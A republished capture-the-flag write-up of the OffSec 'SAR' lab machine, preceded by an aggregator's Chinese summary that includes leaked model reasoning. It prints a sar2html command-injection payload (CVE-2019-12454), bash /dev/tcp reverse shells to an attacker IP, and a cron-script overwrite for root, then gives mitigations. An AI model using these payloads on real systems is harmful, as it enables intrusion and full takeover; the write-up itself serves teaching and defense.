SAR — CVE-2019–12454 in sar2html and a Writable Cron Script That Got Me Root | OffSec PG
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户已经提供了文章的详细内容,我需要先通读一遍,理解主要信息。 文章讲的是一个叫做SAR的Linux机器在OffSec Proving Grounds Play上的渗透测试过程。目标机器开放了SSH和Apache服务。攻击者通过Apache服务器上的sar2html工具找到了漏洞,利用CVE-2019-12454实现了远程代码执行,获得了www-data用户的权限。 接下来,攻击者发现了root用户每五分钟运行一次的cron任务,该任务执行的脚本位于一个可写入的目录中。攻击者替换该脚本,等待cron任务触发,从而获得了root权限。 总结起来,整个过程分为两个主要部分:利用web服务器的漏洞获取初始访问权限,然后通过cron任务提升权限到root。此外,文章还讨论了防御措施和漏洞修复方法。 现在需要将这些信息浓缩到100字以内。重点包括:目标机器、使用的漏洞、初始访问、cron任务利用以及最终获得root权限。 最后,确保语言简洁明了,不使用复杂的术语,并且直接描述内容。 </think> 这篇文章描述了一个针对Linux机器SAR的渗透测试过程。攻击者通过Apache服务器上的sar2html工具利用CVE-2019-12454漏洞实现远程代码执行,获得www-data权限。随后利用root用户的cron任务,在可写目录中替换脚本以获取root权限。整个过程展示了从初始访问到特权提升的典型攻击链。 2026-3-31 06:52:58 Author: infosecwriteups.com(查看原文) 阅读量:4 收藏

Roshan Rajbanshi

SAR is an easy-rated Linux machine on OffSec Proving Grounds Play. Two services are exposed: SSH on 22 and Apache on 80. The web server hosts sar2html v3.2.1, a system activity reporting tool that passes user input directly into OS commands with zero sanitization. That lands a shell as www-data. From there, a root-owned cron job runs a script inside a web-writable directory every five minutes — overwrite the script, wait for the job to fire, get root. Straightforward chain, nothing exotic.

Press enter or click to view image in full size

Platform: OffSec PG Play | Difficulty: Easy | OS: Linux (Ubuntu 18.04) Attack Path: Web RCE (CVE-2019–12454) → www-data → Cron PrivEsc → Root

┌─────────────────────────────────────────────────────────────────────┐
│ ATTACK SUMMARY │
├──────────────────────┬────────────────────────┬─────────────────────┤
│ Phase │ Technique │ Outcome │
├──────────────────────┼────────────────────────┼─────────────────────┤
│ Reconnaissance │ nmap -sC -A │ Ports 22, 80 open │
│ Enumeration │ gobuster dir │ Found /sar2HTML/ │
│ Enumeration │ robots.txt │ Confirmed sar2HTML │
│ Exploitation │ RCE via plot param │ Shell as www-data │
│ Post-Exploitation │ /etc/crontab │ Writable root cron │
│ Privilege Escalation │ Overwrite finally.sh │ Root shell │
└──────────────────────┴────────────────────────┴─────────────────────┘
TABLE OF CONTENTS
─────────────────────────────────────────────────────
1. Reconnaissance
2. Enumeration
2.1 Web Directory Brute-Force
2.2 robots.txt Inspection
2.3 sar2HTML Source Analysis
2.4 Command Injection PoC
3. Exploitation — CVE-2019-12454
3.1 Vulnerability Overview
3.2 Setting Up the Listener
3.3 Reverse Shell Payload
3.4 Initial Foothold
4. Post-Exploitation & Privilege Escalation
4.1 Enumerating Cron Jobs
4.2 Checking File Permissions
4.3 Overwriting finally.sh
4.4 Catching the Root Shell
4.5 Additional PrivEsc Checks
5. Defense & Mitigation
6. Conclusion
─────────────────────────────────────────────────────

1. Reconnaissance

Nmap Port Scan

Start with a fast, aggressive scan. The -F flag keeps it snappy — we just need to know what is open before going deeper.

$ nmap -Pn -sC -A -F 192.168.233.35
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 192.168.233.35
Host is up (0.081s latency).
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
OS details: Linux 5.0 - 5.14
Network Distance: 4 hops
┌────────┬──────────┬─────────┬───────────────────────────────┐
│ Port │ Protocol │ Service │ Version │
├────────┼──────────┼─────────┼───────────────────────────────┤
│ 22/tcp │ TCP │ SSH │ OpenSSH 7.6p1 Ubuntu 4ubuntu0 │
│ 80/tcp │ TCP │ HTTP │ Apache httpd 2.4.29 Ubuntu │
└────────┴──────────┴─────────┴───────────────────────────────┘

Two ports open. SSH on 22 is a dead end without credentials. Port 80 is the way in — a default Apache page on the surface, but there is clearly more underneath.

2. Enumeration

2.1 Web Directory Brute-Force

The Apache default page gives nothing away, so throw gobuster at it with the common wordlist.

$ gobuster dir -u http://192.168.233.35/ -w /usr/share/dirb/wordlists/common.txt
/.hta           (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 10918]
/phpinfo.php (Status: 200) [Size: 95418]
/robots.txt (Status: 200) [Size: 9]
/server-status (Status: 403) [Size: 279]
┌─────────────────┬────────┬──────────────────────────────────────────┐
│ Path │ Status │ Notes │
├─────────────────┼────────┼──────────────────────────────────────────┤
│ /phpinfo.php │ 200 │ Full PHP config exposed — never good │
│ /robots.txt │ 200 │ Small file, likely hiding something │
│ /index.html │ 200 │ Default Apache page, nothing useful │
│ /.htaccess │ 403 │ Exists but unreadable │
└─────────────────┴────────┴──────────────────────────────────────────┘

Two things stand out: phpinfo.php leaks server configuration, and robots.txt It is suspiciously small at just 9 bytes.

2.2 robots.txt Inspection

Nine bytes in a robots.txt It is not a proper exclusion list — it is a breadcrumb.

$ curl http://192.168.233.35/robots.txt
sar2HTML

That is it. One entry, no / prefix, no Disallow keyword — just the name of the directory. Navigate to /sar2HTML/.

2.3 sar2HTML Source Analysis

The page loads a web interface for sar2html — a tool that visualizes SAR (System Activity Reporter) performance data. Pulling the source reveals the version and, more importantly, how the application works.

$ curl http://192.168.233.35/sar2HTML/
<!-- sar2html Ver 3.2.1 -->
<!-- index.php?plot=NEW -->
<!-- index.php?plot=OS -->
<!-- Parameters: host, sdate, edate -->

Version 3.2.1. The plot A parameter is used to generate graphs by passing a value directly into a shell command on the server. No sanitization. No validation. This is CVE-2019-12454 — unauthenticated remote code execution.

2.4 Command Injection PoC

Before building a full reverse shell, confirm execution with a quick id injection. The semicolon acts as a command separator.

$ curl "http://192.168.233.35/sar2HTML/index.php?plot=;id"
# Response body contains:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution confirmed as www-data. Time to get a shell.

Press enter or click to view image in full size

3. Exploitation — CVE-2019–12454

3.1 Vulnerability Overview

┌──────────────────────┬─────────────────────────────────────────────────┐
│ Field │ Detail │
├──────────────────────┼─────────────────────────────────────────────────┤
│ CVE │ CVE-2019-12454 │
│ Affected Software │ sar2html <= 3.2.1 │
│ Vulnerability Type │ Unauthenticated OS Command Injection (RCE) │
│ CVSS Score │ 9.8 Critical │
│ Authentication │ None required │
│ Vulnerable Parameter │ GET index.php?plot= │
│ Injection Separator │ Semicolon (;) │
└──────────────────────┴─────────────────────────────────────────────────┘

The application takes the plot value and drops it straight into a shell command. Append anything after a semicolon, and it runs with the permissions of the web server process. No authentication, no interaction, no complexity.

3.2 Setting Up the Listener

Start a netcat listener on the attacker machine before sending the payload.

# Attacker machine — 192.168.45.222
$ nc -lvnp 4444
listening on [any] 4444 ...

3.3 Reverse Shell Payload

The payload is a standard Bash reverse shell injected through the plot parameter. URL-encode it to avoid breaking the request.

$ curl "http://192.168.233.35/sar2HTML/index.php?plot=%3Bbash+-c+'bash+-i+>%26/dev/tcp/192.168.45.222/4444+0>%261'"
# Decoded payload:
;bash -c 'bash -i >& /dev/tcp/192.168.45.222/4444 0>&1'

3.4 Initial Foothold

The listener catches the connection almost immediately.

listening on [any] 4444 ...
connect to [192.168.45.222] from (UNKNOWN) [192.168.233.35] 48334
bash: cannot set terminal process group (975): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sar:/var/www/html/sar2HTML$

Shell as www-data. Not root yet, but we are inside.

4. Post-Exploitation & Privilege Escalation

4.1 Enumerating Cron Jobs

First thing to check after landing — cron jobs. A lot of boxes give away the intended escalation path right here.

www-data@sar:/tmp$ cat /etc/cron*
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m  h   dom mon dow  user    command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * 7 root test -x /usr/sbin/anacron || cd / && run-parts --report /etc/cron.weekly
52 6 1 * * root test -x /usr/sbin/anacron || cd / && run-parts --report /etc/cron.monthly
*/5 * * * * root cd /var/www/html/ && sudo ./finally.sh

That last line. Root runs ./finally.sh from /var/www/html/ every five minutes via sudo. If the file or the directory it lives in is writable, we own the box.

4.2 Checking File Permissions

www-data@sar:/tmp$ ls -ld /var/www/html
drwxr-xr-x 3 www-data www-data 4096 Jul 24 2020 /var/www/html
www-data@sar:/tmp$ ls -l /var/www/html/finally.sh
-rwxr-xr-x 1 root root 22 Oct 20 2019 /var/www/html/finally.sh
┌────────────────────────────┬──────────┬──────────┬─────────────┬───────────────────────────────────────────────┐
│ Path │ Owner │ Group │ Permissions │ Key Finding │
├────────────────────────────┼──────────┼──────────┼─────────────┼───────────────────────────────────────────────┤
│ /var/www/html/ │ www-data │ www-data │ drwxr-xr-x │ www-data owns the directory │
│ /var/www/html/finally.sh │ root │ root │ -rwxr-xr-x │ Owned by root, but the parent dir is ours │
└────────────────────────────┴──────────┴──────────┴─────────────┴───────────────────────────────────────────────┘

finally.sh is owned by root, but the directory is owned by www-data. On Linux, write permission on a directory means you can delete and recreate any file inside it, regardless of who owns that file. The script is effectively ours to replace.

4.3 Overwriting finally.sh

Delete the original and drop in a reverse shell script. Make it executable and wait.

www-data@sar:/tmp$ rm -f /var/www/html/finally.sh
www-data@sar:/tmp$ echo '#!/bin/bash' > /var/www/html/finally.sh
www-data@sar:/tmp$ echo 'bash -i >& /dev/tcp/192.168.45.222/5555 0>&1' >> /var/www/html/finally.sh
www-data@sar:/tmp$ echo 'curl http://192.168.45.222/pwned' >> /var/www/html/finally.sh
www-data@sar:/tmp$ chmod +x /var/www/html/finally.sh
# Confirm the contents
www-data@sar:/tmp$ cat /var/www/html/finally.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.45.222/5555 0>&1
curl http://192.168.45.222/pwned

Start the second listener and wait up to five minutes for the cron job to execute.

# Attacker machine — second listener
$ nc -lvnp 5555

4.4 Catching the Root Shell

listening on [any] 5555 ...
connect to [192.168.45.222] from (UNKNOWN) [192.168.233.35] 47806
bash: cannot set terminal process group (5872): Inappropriate ioctl for device
bash: no job control in this shell
root@sar:/var/www/html#
root@sar:/var/www/html# cd /root
root@sar:~# ls
proof.txt
root.txt
root@sar:~#

Root. Done.

4.5 Additional PrivEsc Checks

These were checked after getting the www-data shell. The cron path was the intended route and the quickest win, but it is worth knowing what else is on the table.

Baron Samedit — CVE-2021–3156

www-data@sar:/tmp$ sudoedit -s '\'
[sudo] password for www-data:
┌──────────────────────────────────┬───────────────────────────┐
│ Test Result │ Meaning │
├──────────────────────────────────┼───────────────────────────┤
│ Prints usage / sudoedit error │ VULNERABLE │
│ Prompts for a password ← this │ PATCHED │
└──────────────────────────────────┴───────────────────────────┘

The box prompted for a password. Ubuntu 18.04 backported the fix 1.8.21p2 before the CVE went public. The version number looks vulnerable, but the patch is already in. Not exploitable.

Dirty Sock — CVE-2019–7304

www-data@sar:/tmp$ snap --version
snap 2.42
snapd 2.42
series 16
ubuntu 18.04
kernel 5.0.0-23-generic
www-data@sar:/tmp$ curl -s --unix-socket /run/snapd.socket http://localhost/v2/assertions
{"type":"sync","status-code":200,"status":"OK",...}

Dirty Sock was patched in snapd 2.37.1. This box runs 2.42. The socket is world-reachable, which looks like an opening, but the vulnerable POST /v2/create-user code path was closed at 2.37.1. A reachable socket does not mean an exploitable endpoint. Not exploitable.

Full PrivEsc Vector Summary

┌────┬─────────────────────┬─────────────────────────────────┬──────────────┬────────────┬──────────────┐
│ # │ CVE │ Technique │ Version │ Fixed In │ Status │
├────┼─────────────────────┼─────────────────────────────────┼──────────────┼────────────┼──────────────┤
│ 1 │ N/A │ Cron script overwrite │ — │ — │ CONFIRMED │
│ 2 │ CVE-2021-3156 │ Baron Samedit (sudo) │ 1.8.21p2 │ backported │ PATCHED │
│ 3 │ CVE-2019-7304 │ Dirty Sock (snapd) │ snapd 2.42 │ 2.37.1 │ PATCHED │
│ 4 │ CVE-2021-4034 │ PwnKit (pkexec 0.105) │ pkexec 0.105 │ 0.121 │ CHECK │
│ 5 │ CVE-2022-0847 │ Dirty Pipe (kernel 5.0.0-23) │ 5.0.0-23 │ 5.16.11 │ CHECK │
└────┴─────────────────────┴─────────────────────────────────┴──────────────┴────────────┴──────────────┘

PwnKit: pkexec 0.105 is below the 0.121 fix. Quick check — run pkexec --help and see if it segfaults. If it does, it is likely exploitable.

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Dirty Pipe: Kernel 5.0.0-23 is well below 5.16.11. If this box is being used for further research, this is the most realistic remaining kernel-level vector.

5. Defense & Mitigation

5.1 Vulnerability Summary

┌────┬──────────────────────────────────────────┬──────────┬────────────────────────────────────┐
│ # │ Vulnerability │ Severity │ Affected Component │
├────┼──────────────────────────────────────────┼──────────┼────────────────────────────────────┤
│ 1 │ OS Command Injection (CVE-2019-12454) │ Critical │ sar2html v3.2.1 — plot parameter │
│ 2 │ Cron script in web-writable directory │ High │ /var/www/html/finally.sh │
│ 3 │ phpinfo.php publicly accessible │ Medium │ Apache web server │
│ 4 │ Web root writable by www-data │ High │ /var/www/html/ │
│ 5 │ Unpatched pkexec and kernel │ High │ pkexec 0.105, kernel 5.0.0-23 │
└────┴──────────────────────────────────────────┴──────────┴────────────────────────────────────┘

5.2 Patch sar2html — CVE-2019–12454

The entire initial access hinges on one thing: user input going straight into a shell command. Upgrade sar2html if a patched version exists. If not, remove it. There is no safe way to run an application with unauthenticated RCE in a production environment.

If OS commands absolutely must accept user input, use escapeshellarg() and strict whitelisting:

$allowed = ['NEW', 'OS', 'LINUX', 'HPUX', 'SUNOS'];
if (!in_array($_GET['plot'], $allowed)) {
die('Invalid parameter');
}
$plot = escapeshellarg($_GET['plot']);

5.3 Fix the Cron Job

The privilege escalation happened because a privileged script lived inside a directory writable by a low-privilege account. Move the script out of the web root, lock down its permissions, and stop using sudo inside a root cron job.

mv /var/www/html/finally.sh /opt/scripts/finally.sh
chown root:root /opt/scripts/finally.sh
chmod 700 /opt/scripts/finally.sh
# Updated crontab entry — no sudo, absolute path
*/5 * * * * root /opt/scripts/finally.sh

Never put scripts that run as root inside directories accessible to web server processes.

5.4 Remove phpinfo.php

phpinfo.php hands an attacker the full server configuration — PHP version, loaded modules, environment variables, and more. It has no business being on a production server.

rm /var/www/html/phpinfo.php

5.5 Apply System Updates

apt update && apt upgrade -y
┌────────────────┬────────────────────┬──────────────────────────────┬───────────────────────┐
│ Package │ Vulnerable Version │ CVE │ Fix │
├────────────────┼────────────────────┼──────────────────────────────┼───────────────────────┤
│ pkexec │ < 0.121 │ CVE-2021-4034 (PwnKit) │ polkit >= 0.121 │
│ Linux Kernel │ < 5.16.11 │ CVE-2022-0847 (Dirty Pipe) │ Kernel >= 5.16.11 │
└────────────────┴────────────────────┴──────────────────────────────┴───────────────────────┘

Note: sudo and snapd are already backport-patched on this machine by Ubuntu’s security team. Do not rely on package version numbers alone to determine patch status — always verify with a behavioral test.

5.6 Egress Filtering

Both reverse shells connected back to the attacker's machine without any resistance. Restricting outbound connections from the web server process would have stopped both exploits at the delivery stage.

# Whitelist only required outbound traffic
ufw default deny outgoing
ufw allow out 80/tcp
ufw allow out 443/tcp
ufw allow out 53/udp

For process-level control, AppArmor or seccomp profiles can prevent Apache and PHP from spawning shells or making arbitrary outbound connections entirely.

5.7 Mitigation Summary

┌──────────────────────────────────┬────────────────────────────────────────────────────────┬──────────┐
│ Control │ Action │ Priority │
├──────────────────────────────────┼────────────────────────────────────────────────────────┼──────────┤
│ Patch sar2html │ Upgrade or remove — CVE-2019-12454 is trivial RCE │ Critical │
│ Fix cron script location │ Move outside web root, chmod 700, root:root │ High │
│ Remove phpinfo.php │ Delete immediately │ Medium │
│ Update pkexec and kernel │ Patch PwnKit and Dirty Pipe vectors │ High │
│ Egress filtering │ Restrict outbound connections from web process │ Medium │
│ Web Application Firewall │ Detect and block command injection attempts │ Medium │
│ Least privilege for web process │ Ensure Apache/PHP cannot spawn shells │ High │
│ Cron job auditing │ Regularly audit /etc/crontab and /etc/cron.d/ │ Medium │
└──────────────────────────────────┴────────────────────────────────────────────────────────┴──────────┘

6. Conclusion

SAR is a clean example of how two straightforward misconfigurations chain into a full compromise. No custom exploits, no guesswork — just a public CVE and a cron job that should never have been set up the way it was.

The initial foothold is textbook: an unpatched web application with unauthenticated RCE. The privilege escalation asks even less of the attacker — read a file, find a writable path, write a payload, wait. Both issues are entirely preventable. Patch management stops the first. Basic file permission hygiene stops the second.

The more interesting lesson here is around the secondary vectors. Baron Samedit and Dirty Sock both look exploitable based on version numbers alone, but Ubuntu’s security team had quietly backported patches without bumping the version string. That is a common real-world trap — never assume exploitability from a version number without running a behavioral test first. PwnKit and Dirty Pipe are still worth investigating if the kernel and pkexec remain unpatched.


文章来源: https://infosecwriteups.com/sar-cve-2019-12454-in-sar2html-and-a-writable-cron-script-that-got-me-root-offsec-pg-0b4f8a17ca82?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh